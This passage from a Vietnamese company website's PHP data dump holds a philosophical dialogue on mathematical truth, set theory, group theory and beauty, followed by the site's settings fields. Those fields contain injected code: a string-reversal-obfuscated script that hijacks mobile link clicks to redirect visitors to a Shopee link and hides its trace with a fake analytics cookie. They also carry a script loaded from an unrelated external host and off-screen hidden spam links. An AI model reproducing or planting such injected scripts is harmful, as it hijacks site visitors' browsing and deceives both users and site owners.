pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div> <div> </div> <div> Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div> <div> </div> <div> Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div> <div> </div> <div> Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div> <div> </div> <div> Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div> <div> </div> <div> Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div> <div> </div> <div> Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div> <div> </div> <div> Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div> <div> </div> <div> Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div> <div> </div> <div> Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div> <div> </div> <div> Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div> <div> </div> <div> “Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div> <div> </div> <div> Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div> <div> </div> <div> Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div> <div> </div> <div> Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div> <div> </div> <div> Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div> <div> </div> <div> “Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div> <div> </div> <div> Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div> <div> </div> <div> Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div> <div> </div> <div> Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div> <div> </div> <div> Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div> <div> </div> <div> Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div> <div> </div> <div> Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div> <div> </div> <div> Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div> <div> </div> <div> Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div> <div> </div> <div> Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div> <div> </div> <div> Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div> <div> </div> <div> Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div> <div> </div> <div> Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div> <div> </div> <div> Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div> <div> </div> <div> Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div> <div> </div> <div> Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div> <div> </div> <div> Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div> <div> </div> <div> Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div> <div> </div> <div> Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div> <div> </div> <div> Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div> <div> </div> <div> Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div> <div> </div> <div> Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div> <div> </div> <div> Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div> <div> </div> <div> Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div> <div> </div> <div> 1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div> <div> </div> <div> 2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div> <div> </div> <div> 3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div> <div> </div> <div> Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div> <div> </div> <div> Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div> <div> </div> <div> Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div> <div> </div> <div> Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div> <div> </div> <div> Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div> <div> </div> <div> Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div> <div> </div> <div> Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div> <div> </div> <div> Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div> <div> </div> <div> Giờ nghiêm túc hơn một chút nhé:</div> <div> </div> <div> Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div> <div> </div> <div> Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div> <div> </div> <div> Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div> <div> “Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div> <div> </div> <div> Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div> <div> </div> <div> Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div> <div> </div> <div> Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div> <div> </div> <div> Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div> <div> </div> <div> Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div> <div> </div> <div> <strong>Thay lời kết</strong></div> <div> </div> <div> Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div> <div> </div> <div> Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div> <div> </div> <div> Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div> <div> ---</div> <div> * Giáp Văn Dương dẫn chuyện và biên tập.</div> ', 'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-10', 'status' => '1', 'view' => '61823', 'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '709', 'rght' => '710', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $setting = array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script 